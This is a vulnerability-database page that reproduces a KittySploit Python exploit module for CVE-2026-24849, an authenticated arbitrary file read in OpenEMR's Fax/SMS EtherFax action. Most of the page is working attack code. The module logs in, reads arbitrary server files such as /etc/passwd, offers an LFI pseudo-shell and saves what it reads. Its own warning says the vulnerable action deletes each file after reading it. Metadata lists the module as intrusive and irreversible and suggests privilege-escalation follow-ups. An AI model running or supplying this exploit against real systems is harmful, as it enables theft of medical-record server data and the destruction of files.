Lucene search
+L

OpenEMR Fax/SMS authenticated arbitrary file read

🗓️ 18 Jun 2026 05:49:06Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Authenticated arbitrary file read in OpenEMR Fax/SMS EtherFax disposeDoc/disposeDocument action.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-24849
25 Feb 202601:44
–attackerkb
githubexploit
GithubExploit
Exploit for Path Traversal in Open-Emr Openemr
6 Jun 202605:48
–githubexploit
circl
Circl
CVE-2026-24849
25 Feb 202602:18
–circl
cnnvd
CNNVD
OpenEMR 路径遍历漏洞
25 Feb 202600:00
–cnnvd
cve
CVE
CVE-2026-24849
25 Feb 202601:44
–cve
cvelist
Cvelist
CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability
25 Feb 202601:44
–cvelist
exploitdb
Exploit DB
OpenEMR 7.0.2 - Arbitrary File Read
8 Jun 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-8581
25 Feb 202601:44
–euvd
kitploit
Kitploit
CVE-2026-24849
12 Oct 202615:40
–kitploit
kittysploit
KittySploit
OpenEMR CVE-2026-24849 detection
18 Jun 202605:49
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
from lib.protocols.http.openemr_cve_2026_24849 import (
    openemr_login,
    openemr_read_file,
    looks_like_etc_passwd,
)


class Module(Exploit, Http_client, Lfi):

    __info__ = {
        "name": "OpenEMR Fax/SMS authenticated arbitrary file read",
        "description": (
            "CVE-2026-24849: OpenEMR < 7.0.4 exposes an authenticated arbitrary file read in "
            "the Fax/SMS EtherFax disposeDoc/disposeDocument action. Any valid OpenEMR user can "
            "read files reachable by the web-server user when the module/provider is enabled."
        ),
        "author": ["doany1", "KittySploit Team"],
        "cve": ["CVE-2026-24849"],
        "references": [
            "https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-24849",
        ],
        "platform": Platform.UNIX,
        "tags": ["openemr", "lfi", "file-read", "authenticated", "cve-2026-24849"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'file_read', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    # This exploit reads files and does not use KittySploit payload handling.
    payload = OptString("", "Unused for this file-read exploit", required=False, advanced=True)

    port = OptPort(80, "OpenEMR HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    base_path = OptString("/openemr", "OpenEMR base path (use / if installed at web root)", required=True)
    site = OptString("default", "OpenEMR site id", required=True)
    username = OptString("admin", "OpenEMR username", required=True)
    password = OptString("", "OpenEMR password", required=True)
    output_file = OptString("", "Local file to write the retrieved content", required=False)
    output_limit = OptInteger(12000, "Max characters to print when output_file is empty (0 = full)", required=False, advanced=True)

    def _exploit(self):
        return self.run()

    def _login(self):
        return openemr_login(self, self.base_path, self.site, self.username, self.password)

    def execute(self, file_path: str) -> str:
        data, status, action = openemr_read_file(self, self.base_path, self.site, file_path)
        if status == "session":
            print_error("Session rejected; check username/password/site")
            return ""
        if status == "missing":
            print_error("File was not readable, or Fax/SMS EtherFax action is unavailable")
            return ""
        print_success(f"Read succeeded via {action}")
        return data or ""

    def check(self):
        try:
            self._login()
            data, status, action = openemr_read_file(self, self.base_path, self.site, "/etc/passwd")
        except Exception as e:
            return {"vulnerable": False, "reason": f"Request failed: {e}", "confidence": "low"}

        if status == "session":
            return {"vulnerable": False, "reason": "Login failed or session rejected", "confidence": "medium"}
        if status == "missing":
            return {
                "vulnerable": False,
                "reason": "Authenticated, but Fax/SMS EtherFax file-read probe returned nothing",
                "confidence": "medium",
            }
        if looks_like_etc_passwd(data or ""):
            return {
                "vulnerable": True,
                "reason": f"CVE-2026-24849 confirmed: /etc/passwd read via {action}",
                "details": f"/etc/passwd read via {action}",
                "confidence": "high",
            }
        return {
            "vulnerable": True,
            "reason": f"File-read endpoint returned content via {action}, but probe content was unexpected",
            "details": f"File-read endpoint returned {len(data or '')} bytes via {action}",
            "confidence": "medium",
        }

    def run(self):
        print_warning(
            "The vulnerable OpenEMR action calls unlink() after readfile(). "
            "Prefer root-owned probe files such as /etc/passwd, and only read other files if deletion risk is acceptable."
        )

        try:
            self._login()
        except Exception as e:
            print_error(f"Login request failed: {e}")
            return False

        if self.shell_lfi:
            print_status("LFI pseudo-shell (paths are read via OpenEMR Fax/SMS)")
            self.handler_lfi()
            return True

        remote_path = str(self.file_read or "").strip()
        if not remote_path:
            print_error("file_read is required")
            return False

        data = self.execute(remote_path)
        if not data:
            return False

        local = str(self.output_file or "").strip()
        if local:
            try:
                with open(local, "w", encoding="utf-8", errors="ignore") as fh:
                    fh.write(data)
                print_success(f"Wrote {len(data)} bytes from {remote_path} to {local}")
            except OSError as e:
                print_error(f"Could not write output_file: {e}")
                return False
            return True

        limit = int(self.output_limit or 0)
        if limit > 0 and len(data) > limit:
            print_info(data[:limit] + "\n... [truncated]")
        else:
            print_info(data)
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 13:34Current
6Medium risk
Vulners AI Score6
CVSS 3.16.5 - 9.9
EPSS0.02251
SSVC
3